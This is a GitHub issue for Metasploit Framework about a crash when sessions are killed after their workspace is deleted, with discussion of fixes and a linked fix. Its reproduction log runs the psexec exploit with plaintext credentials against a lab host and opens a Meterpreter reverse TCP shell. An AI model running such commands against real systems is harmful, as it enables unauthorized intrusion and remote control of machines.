Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Killing sessions crashes after workspace deltion #18561

Closed
smcintyre-r7 opened this issue Nov 21, 2023 · 7 comments · Fixed by #18833
Closed

Killing sessions crashes after workspace deltion #18561

smcintyre-r7 opened this issue Nov 21, 2023 · 7 comments · Fixed by #18833
Assignees
Labels
bug not-stale Label to stop an issue from being auto closed

Comments

@smcintyre-r7
Copy link
Contributor

If you open a session, then delete your workspace, then kill a sessions you'll receive a large exception message.

To reproduce it:

  1. Start msfconsole
  2. Ensure metasploit is connected to a database
  3. Open a session
  4. Delete the workspace the session is associated with (or just delete them all with workspace -D)
  5. Try to close the session (or just try to close them all with sessions -K
msf6 > use exploit/windows/smb/psexec 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > run RHOSTS=192.168.159.10 USERNAME=smcintyre PASSWORD=Password1! LHOST=192.168.159.128

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[*] 192.168.159.10:445 - Selecting PowerShell target
[*] 192.168.159.10:445 - Executing the payload...
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.159.10
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:64190) at 2023-11-21 14:47:03 -0500

meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) > workspace -D
[*] Deleted workspace: default
[*] Recreated the default workspace
msf6 exploit(windows/smb/psexec) > sessions -k 1
[*] Killing the following session(s): 1
[*] Killing session 1
[*] 192.168.159.10 - Meterpreter session 1 closed.
[-] Session manipulation failed: Couldn't find Mdm::Session with 'id'=262 ["/home/smcintyre/.rvm/gems/ruby-3.0.4@metasploit-framework/gems/activerecord-7.0.8/lib/active_record/core.rb:284:in `find'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/core/db_manager/session.rb:194:in `block in update_session'", "/home/smcintyre/.rvm/gems/ruby-3.0.4@metasploit-framework/gems/activerecord-7.0.8/lib/active_record/connection_adapters/abstract/connection_pool.rb:215:in `with_connection'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/core/db_manager/session.rb:191:in `update_session'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb:46:in `block in update_session'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/metasploit/framework/data_service/proxy/core.rb:164:in `data_service_operation'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb:34:in `update_session'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/core/session.rb:229:in `block in cleanup'", "/home/smcintyre/.rvm/gems/ruby-3.0.4@metasploit-framework/gems/activerecord-7.0.8/lib/active_record/connection_adapters/abstract/connection_pool.rb:215:in `with_connection'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/core/session.rb:228:in `cleanup'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/core/session/interactive.rb:102:in `cleanup'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/base/sessions/meterpreter.rb:297:in `cleanup'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/core/session_manager.rb:258:in `deregister'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/base/sessions/meterpreter.rb:359:in `kill'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/ui/console/command_dispatcher/core.rb:1691:in `block in cmd_sessions'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/ui/console/command_dispatcher/core.rb:1682:in `each'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/ui/console/command_dispatcher/core.rb:1682:in `cmd_sessions'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/ui/text/shell.rb:165:in `block in run'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/ui/text/shell/history_manager.rb:33:in `with_context'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/ui/text/shell.rb:133:in `run'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/metasploit/framework/command/console.rb:54:in `start'", "/home/smcintyre/Repositories/metasploit-framework.pr/lib/metasploit/framework/command/base.rb:82:in `start'", "./msfconsole:23:in `<main>'"]
msf6 exploit(windows/smb/psexec) > sessions

Active sessions
===============

No active sessions.

msf6 exploit(windows/smb/psexec) > db_status
[*] Connected to metasploit. Connection type: postgresql.
msf6 exploit(windows/smb/psexec) > 
Copy link

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

@github-actions github-actions bot added the Stale Marks an issue as stale, to be closed if no action is taken label Dec 22, 2023
Copy link

Hi again!

It’s been 60 days since anything happened on this issue, so we are going to close it.
Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

@smcintyre-r7 smcintyre-r7 added not-stale Label to stop an issue from being auto closed and removed Stale Marks an issue as stale, to be closed if no action is taken labels Jan 22, 2024
@smcintyre-r7 smcintyre-r7 reopened this Jan 22, 2024
@adfoster-r7
Copy link
Contributor

Should we stop folk from deleting workspaces if they have sessions open? 🤔

@smcintyre-r7
Copy link
Contributor Author

We could filter it at least by preventing folks from deleting a workspace associated with an active session. Alternatively, and I'm not sure how much work this would be, we could update the session to dis-associate it from the deleted workspace so it could still operate.

@errorxyz
Copy link
Contributor

errorxyz commented Jan 27, 2024

I'm not sure if this should be expected behaviour but what if the user wants to delete all active sessions associated with a workspace altogether? If thats the case maybe we could have a force delete option that'd delete the associated active sessions for a workspace. By default, it shouldn't allow deletion of workspaces linked to active sessions though and raise a warning if found.

@errorxyz
Copy link
Contributor

errorxyz commented Feb 3, 2024

I don't want to nudge but its been a week, any suggestions on the implementation? I'd like to work on this issue. @adfoster-r7 @smcintyre-r7

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Feb 7, 2024

Sorry I've been a bit swamped. I think avoiding the crash being logged to stdout and calling elog with the error instead is the best solution for now if that's possible to implement in a precise manner - i.e. in a way that makes sense, and making a code change in such a way that it isn't going to impact other workflows and codepaths

Long term it would be good to ensure this situation can't happen in the first place, i.e. with the session validation before deleting workspaces etc - but that decision would also have an impact on Metasploit Pro too which would need additional research cycles to confirm that we wouldn't have time to prioritise right now.

@smcintyre-r7 smcintyre-r7 self-assigned this Feb 13, 2024
jheysel-r7 added a commit that referenced this issue Feb 23, 2024
This PR catches an exception when updating a non-existing session.
Prior to this PR trying to run sessions -k after running workspace -D
would result in a stacktrace being printed to the console.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug not-stale Label to stop an issue from being auto closed
Projects
Archived in project
Development

Successfully merging a pull request may close this issue.

3 participants